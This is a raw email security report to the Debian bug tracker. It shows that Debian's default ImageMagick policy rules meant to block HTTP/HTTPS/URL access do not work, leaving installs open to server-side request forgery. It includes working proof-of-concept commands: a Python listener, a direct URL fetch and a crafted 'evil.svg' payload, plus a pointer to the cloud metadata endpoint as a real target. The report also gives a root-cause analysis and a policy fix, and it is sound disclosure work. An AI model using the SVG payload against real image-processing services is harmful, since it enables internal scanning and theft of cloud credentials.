[From nobody Wed Jun 24 22:05:09 2026 Received: (at submit) by bugs.debian.org; 16 Jun 2026 20:15:47 +0000 X-Spam-Checker-Version: SpamAssassin 4.0.1-bugs.debian.org_2005_01_02 (2024-03-25) on buxtehude.debian.org X-Spam-Level: X-Spam-Status: No, score=-11.1 required=4.0 tests=BAYES_00, BODY_INCLUDES_PACKAGE,DKIM_SIGNED,DKIM_VALID,DKIM_VALID_AU, DKIM_VALID_EF,FOURLA,FREEMAIL_ENVFROM_END_DIGIT,FREEMAIL_FROM,GMAIL, HAS_PACKAGE,HTML_MESSAGE,MULTALT,NUMERIC_HTTP_ADDR,RCVD_IN_DNSWL_NONE, SPF_HELO_NONE,SPF_PASS,WEIRD_PORT autolearn=ham autolearn_force=no version=4.0.1-bugs.debian.org_2005_01_02 X-Spam-Bayes: score:0.0000 Tokens: new, 108; hammy, 150; neutral, 198; spammy, 0. spammytokens: hammytokens:0.000-+--python3, 0.000-+--dfsg12, 0.000-+--dfsg1-2, 0.000-+--UD:patch, 0.000-+--Maintainer Return-path: <maramsaiharsha24@gmail.com> Received: from mail-ua1-x92c.google.com ([2607:f8b0:4864:20::92c]:47162) by buxtehude.debian.org with esmtps (TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_128_GCM:128) (Exim 4.96) (envelope-from <maramsaiharsha24@gmail.com>) id 1wZaCI-00GD2N-1f for submit@bugs.debian.org; Tue, 16 Jun 2026 20:15:47 +0000 Received: by mail-ua1-x92c.google.com with SMTP id a1e0cc1a2514c-963d7e5ffddso3440064241.2 for <submit@bugs.debian.org>; Tue, 16 Jun 2026 13:15:46 -0700 (PDT) ARC-Seal: i=1; a=rsa-sha256; t=1781640945; cv=none; d=google.com; s=arc-20240605; b=l1uaPELWphgJr+UaCnV5UGXx0ZlDWhMjpArP1qQCgE7TvNusxEZ+ydrUjetfYzIhxj FqNreeD817LQRm85Zi4gQ+sqsDILyZn8gJBLwp4+CGm76xKtqnPi/WcLElBkEpwkNGG8 tJRDk7UwNsDTpoFTPLIv+kWPThEF0Gmw3ptZW9R6tTeBXXoahcmrc4fG+jmr2/c8eDkY iUr7yxaJcV+U+VTZOkZpfGO76SPpA7njoZQecm1nnRD8uPxFPPr7IYeKtxr3PMAufq0n obX3jRi/A++zBvLliWuMhbAgVPX6ZUsOtdMmsAgkL0mB/lH5QWkChhVUvZcVCEObFTu9 m2jg== ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20240605; h=cc:to:subject:message-id:date:from:mime-version:dkim-signature; bh=g/oDoad2Nvb7Vqgi85b0MxP9nsTE9GnHELvpk2gjpik=; fh=VMrL1HyEGPH7EDYj/BsdFpqkRqnjtQzTB9Isj9e7d50=; b=I3/HvIpCQaZdlsjCANmoEzPdekUPQjBzvkvHG9llQpHCBWRmLE/IpO5FdeGeaPG6qN VpswHy2wFaGVQycNm4jn/Pb53UgUA2hBaPr0hF/vzmI1dZODMK+JwTNIngwTpMGH5MIe LA9SQM2G41GamoOjiU3jLLAtnCxjuCvrK3FxEg8Nuduzhz5JJ9TWu1yFHohalQtPari2 VOORmJQAdJ2iV2A7+jVyy/mumNEcAV1IPYNtmu4HdFie5uuzToEYMRXn6Z2bpn6nOGTv ukZBOyFgzNzK7RQ9kGukO4jjrcVFynatv3b9Y/xtyImpws8nm2BPlzgAPqBJ1OhH/P0y ulAw==; darn=bugs.debian.org ARC-Authentication-Results: i=1; mx.google.com; arc=none DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1781640945; x=1782245745; darn=bugs.debian.org; h=cc:to:subject:message-id:date:from:mime-version:from:to:cc:subject :date:message-id:reply-to; bh=g/oDoad2Nvb7Vqgi85b0MxP9nsTE9GnHELvpk2gjpik=; b=CtHimIrVhPFXVw9MWsqm8V85/HchCWEkQq7bw54zIbWPTKTfzsVWn1oGXG/+c3w5Bt sgn8+MRtr1yBBd8va4Onb70Svt74cp6gyIf2E4AHL652MUDMSlzrAxwGm/hRtmnU/ng+ grI8MTLVZxns0y3/EpIk/sCf2ppkKqEZJRCZ7RFhFEF7Tgh6em/m3lbXGPbLqHt23ols SEjvBSOTmiA2DmVUKLfMlQSKGdBdcSrVkweEcgs7oYMC115FRxmDF6PbHY6Yotwjt5Up b6eyoiP8yK5ycKI6RHjk3lE+ODuwbF1D/9XNnDYZR1rOFj6T40OaRjWA+JRVqpPGDplT wtWA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1781640945; x=1782245745; h=cc:to:subject:message-id:date:from:mime-version:x-gm-gg :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to; bh=g/oDoad2Nvb7Vqgi85b0MxP9nsTE9GnHELvpk2gjpik=; b=JFeBKM5EoBcAub3Q5VVVWYu4BxOu7jrEPFYFPihVV1Dv4xgLMac1nDrRyaZ6pjysYV PmqzV442plxDzxvp69v3JRJ98KZ4b2hZXq8brPzC3tL4JPdFhpjXlzbUu0bwGz7E2dLy RLB3WGtkzFuswV4z984Z4Oo8oN5H1IcoqlscloN3PC+u13KuGqCDt2EPvY6pQHpx6jbk TDUQBsT2I9k6ev5EebtXviFdz+XG5MmNYs+j95KW3NKbaZeRZ7vuAhoxSjiKx7RQPrFN moFbO65lsUlxm561crLe2HzadX/s2GbqIhCVKlWBL1JN9S9P0bLO5aWCpG1dPhB0TuM3 8BVA== X-Gm-Message-State: AOJu0YxI5ha4payyzr+CYBihAgHi6AEx90fTSVEQ3a/UWaBdSv0i0GmG 1Jl4ezygcLFPM1QNOT+c6osSk78vXDnTv9n1e6wwWKPcsmrrt++nVf0vFGt0QVH1YXsjUCx294J lSHuYtWbjnecyzy6boMZ7imbUlz4UDqpVV6qAJoo= X-Gm-Gg: Acq92OF3YBthgLr1mskvE6NlxurY5xXfNMUwRSvYbnMj8yT1jApuHuAcAIkIsemAbO4 wJGehty+tos6lYCLyzjjsYtg7q3Hz5EoYULiuQEOqtxbDX4W/QfFKTn98/nYIx346wlCiQP48ug cOmWAhrQcCF4eCN/E+OkjcQPS3K/Ntn8Y4p2B+aT/CPJEBBYlDw45DWPrVH2B7VQM/u37zhHvsL 1oengyijyy3dYNZmN19svUiANAyFXWZ6KRSn2RTJqXTzVk3mk/P24+Re+AqHdSb7pOjB8EDW+T8 ESId5zR02Ee4shrssrMshpPUKYgzzWZy63JnFRJ6MvqBNy2WtXf6z+RnnPHPIG0wac+tvkQR41t m3+x8VZ3rtQpfNRH9Re1eUkbazRoMR+/B0KM= X-Received: by 2002:a05:6102:5490:b0:6c3:95ee:73b4 with SMTP id ada2fe7eead31-7246dc894ebmr553985137.29.1781640944688; Tue, 16 Jun 2026 13:15:44 -0700 (PDT) MIME-Version: 1.0 From: Maram Sai Harsha Vardhan Reddy <maramsaiharsha24@gmail.com> Date: Wed, 17 Jun 2026 01:45:32 +0530 X-Gm-Features: AVVi8CfENwm5F7GANdNWbsqdV_HDmkHXIZASYsAEVpEuo_6AOIzz38gPxgJvTKQ Message-ID: <CACim88aE5f6EXSusWwD=UghbWdMJBhX6dLqR9DRAnj6O93M48Q@mail.gmail.com> Subject: imagemagick: default policy.xml HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918) To: submit@bugs.debian.org Cc: rouca@debian.org, carnil@debian.org Content-Type: multipart/alternative; boundary="000000000000a0265f0654649b71" Delivered-To: submit@bugs.debian.org --000000000000a0265f0654649b71 Content-Type: text/plain; charset="UTF-8" Package: imagemagick Version: 8:7.1.2.15+dfsg1-2 Severity: grave Tags: security patch Dear Maintainer, The default ImageMagick security policy shipped by Debian in debian/patches/0005-Add-a-debian-policy.patch (installed as /etc/ImageMagick-7/policy.xml) attempts to block remote HTTP/HTTPS/URL access -- the standard SSRF mitigation -- with these rules: <policy domain="delegate" rights="none" pattern="URL" /> <policy domain="delegate" rights="none" pattern="HTTPS" /> <policy domain="delegate" rights="none" pattern="HTTP" /> These rules are silently ineffective, so a default install still performs outbound HTTP/HTTPS requests and is vulnerable to SSRF (CWE-918). Root cause ---------- The http:/https: coders fetch URLs by invoking delegates named "http:decode" / "https:decode" (coders/url.c). InvokeDelegate() (MagickCore/delegate.c) enforces the "delegate" policy by glob-matching the policy pattern against that full identifier string. The pattern "HTTP" (no wildcards) does not match the literal string "http:decode", so the rule is treated as inapplicable and the default (allow) wins. The patterns "HTTP", "HTTPS" and "URL" therefore never block the URL coders. The "@*" path rule in the same file is enforced through a different code path and does work, which gives operators false confidence that the HTTP/HTTPS/URL restriction is also working. Proof of concept ---------------- All commands run against the unmodified, as-installed policy.xml. 1. Minimal listener: python3 -c 'import http.server,socketserver class H(http.server.BaseHTTPRequestHandler): def do_GET(s): print("SSRF:",s.path); s.send_response(200); s.end_headers(); s.wfile.write(b"GIF89a;") def log_message(s,*a): pass socketserver.TCPServer(("127.0.0.1",7777),H).serve_forever()' 2. Confirm the restrictive policy is active (this is correctly blocked): echo x > /tmp/q.txt magick label:@/tmp/q.txt /tmp/q.png -> magick: attempt to perform an operation not allowed by the security policy `@/tmp/q.txt' 3. PoC 1 -- direct URL coder: magick http://127.0.0.1:7777/ssrf out.png -> listener logs: SSRF: /ssrf 4. PoC 2 -- SSRF via untrusted SVG (the realistic web-service vector): printf '<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><image xlink:href="http://127.0.0.1:7777/svg-ssrf" width="10" height="10"/></svg>' > evil.svg magick evil.svg out.png -> listener logs: SSRF: /svg-ssrf Both requests are sent despite the delegate rights="none" rules. Substituting a real internal target (e.g. http://169.254.169.254/latest/meta-data/) demonstrates real impact. Impact ------ A service that thumbnails or converts user-supplied SVG (or URL) input with ImageMagick can be coerced into attacker-controlled server-side requests to internal services or cloud metadata endpoints, enabling credential theft and internal port/host scanning. The exposure is worse because operators believe they are protected: they deployed a policy that explicitly lists HTTP, HTTPS and URL as forbidden. Suggested fix ------------- Replace the ineffective delegate rules with the coder-domain form, which is enforced and covers every remote scheme: <policy domain="coder" rights="none" pattern="{HTTP,HTTPS,FTP,FTPS,URL,MSL,MVG}" /> (keeping the existing @* path rule). Verify with: magick http://127.0.0.1:1/x x.png which must be rejected by policy, not merely fail to connect. Bastien Rouccaries has already prepared a fix; a CVE request is in progress. I am filing here at the request of the Debian Security Team so the fix is tracked in the BTS. Tested on imagemagick 8:7.1.2.15+dfsg1-2; applies generally to the ImageMagick 7.x series. Regards, Maram Sai Harsha Vardhan Reddy Security Researcher maramsaiharsha24@gmail.com --000000000000a0265f0654649b71 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable <div dir=3D"ltr">Package: imagemagick<br>Version: 8:7.1.2.15+dfsg1-2<br>Sev= erity: grave<br>Tags: security patch<br><br>Dear Maintainer,<br><br>The def= ault ImageMagick security policy shipped by Debian in<br>debian/patches/000= 5-Add-a-debian-policy.patch<br>(installed as /etc/ImageMagick-7/policy.xml)= attempts to block remote<br>HTTP/HTTPS/URL access -- the standard SSRF mit= igation -- with these rules:<br><br>=C2=A0 <policy domain=3D"delega= te" rights=3D"none" pattern=3D"URL" /><br>=C2= =A0 <policy domain=3D"delegate" rights=3D"none" patt= ern=3D"HTTPS" /><br>=C2=A0 <policy domain=3D"delegate&= quot; rights=3D"none" pattern=3D"HTTP" /><br><br>The= se rules are silently ineffective, so a default install still performs<br>o= utbound HTTP/HTTPS requests and is vulnerable to SSRF (CWE-918).<br><br>Roo= t cause<br>----------<br>The http:/https: coders fetch URLs by invoking del= egates named<br>"http:decode" / "https:decode" (coders/= url.c). InvokeDelegate()<br>(MagickCore/delegate.c) enforces the "dele= gate" policy by glob-matching<br>the policy pattern against that full = identifier string. The pattern<br>"HTTP" (no wildcards) does not = match the literal string "http:decode",<br>so the rule is treated= as inapplicable and the default (allow) wins.<br>The patterns "HTTP&q= uot;, "HTTPS" and "URL" therefore never block the URL<b= r>coders.<br><br>The "@*" path rule in the same file is enforced = through a different code<br>path and does work, which gives operators false= confidence that the<br>HTTP/HTTPS/URL restriction is also working.<br><br>= Proof of concept<br>----------------<br>All commands run against the unmodi= fied, as-installed policy.xml.<br><br>1. Minimal listener:<br><br>=C2=A0 = =C2=A0python3 -c 'import http.server,socketserver<br>=C2=A0 =C2=A0class= H(http.server.BaseHTTPRequestHandler):<br>=C2=A0 =C2=A0 def do_GET(s): pri= nt("SSRF:",s.path); s.send_response(200); s.end_headers(); s.wfil= e.write(b"GIF89a;")<br>=C2=A0 =C2=A0 def log_message(s,*a): pass<= br>=C2=A0 =C2=A0socketserver.TCPServer(("127.0.0.1",7777),H).serv= e_forever()'<br><br>2. Confirm the restrictive policy is active (this i= s correctly blocked):<br><br>=C2=A0 =C2=A0echo x > /tmp/q.txt<br>=C2=A0 = =C2=A0magick label:@/tmp/q.txt /tmp/q.png<br>=C2=A0 =C2=A0-> magick: att= empt to perform an operation not allowed by the<br>=C2=A0 =C2=A0 =C2=A0 sec= urity policy `@/tmp/q.txt'<br><br>3. PoC 1 -- direct URL coder:<br><br>= =C2=A0 =C2=A0magick <a href=3D"http://127.0.0.1:7777/ssrf">http://127.0.0.1= :7777/ssrf</a> out.png<br>=C2=A0 =C2=A0-> listener logs: SSRF: /ssrf<br>= <br>4. PoC 2 -- SSRF via untrusted SVG (the realistic web-service vector):<= br><br>=C2=A0 =C2=A0printf '<svg xmlns:xlink=3D"<a href=3D"http= ://www.w3.org/1999/xlink">http://www.w3.org/1999/xlink</a>" width=3D&q= uot;10" height=3D"10"><image xlink:href=3D"<a hre= f=3D"http://127.0.0.1:7777/svg-ssrf">http://127.0.0.1:7777/svg-ssrf</a>&quo= t; width=3D"10" height=3D"10"/></svg>' &gt= ; evil.svg<br>=C2=A0 =C2=A0magick evil.svg out.png<br>=C2=A0 =C2=A0-> li= stener logs: SSRF: /svg-ssrf<br><br>Both requests are sent despite the dele= gate rights=3D"none" rules.<br>Substituting a real internal targe= t (e.g.<br><a href=3D"http://169.254.169.254/latest/meta-data/">http://169.= 254.169.254/latest/meta-data/</a>) demonstrates real impact.<br><br>Impact<= br>------<br>A service that thumbnails or converts user-supplied SVG (or UR= L) input<br>with ImageMagick can be coerced into attacker-controlled server= -side<br>requests to internal services or cloud metadata endpoints, enablin= g<br>credential theft and internal port/host scanning. The exposure is wors= e<br>because operators believe they are protected: they deployed a policy<b= r>that explicitly lists HTTP, HTTPS and URL as forbidden.<br><br>Suggested = fix<br>-------------<br>Replace the ineffective delegate rules with the cod= er-domain form, which<br>is enforced and covers every remote scheme:<br><br= >=C2=A0 <policy domain=3D"coder" rights=3D"none" pat= tern=3D"{HTTP,HTTPS,FTP,FTPS,URL,MSL,MVG}" /><br><br>(keeping = the existing @* path rule). Verify with:<br><br>=C2=A0 magick <a href=3D"ht= tp://127.0.0.1:1/x">http://127.0.0.1:1/x</a> x.png<br><br>which must be rej= ected by policy, not merely fail to connect.<br><br>Bastien Rouccaries has = already prepared a fix; a CVE request is in<br>progress. I am filing here a= t the request of the Debian Security Team so<br>the fix is tracked in the B= TS.<br><br>Tested on imagemagick 8:7.1.2.15+dfsg1-2; applies generally to t= he<br>ImageMagick 7.x series.<br><br>Regards,<br>Maram Sai Harsha Vardhan R= eddy<br>Security Researcher<br><a href=3D"mailto:maramsaiharsha24@gmail.com= ">maramsaiharsha24@gmail.com</a><br><br></div> --000000000000a0265f0654649b71-- ]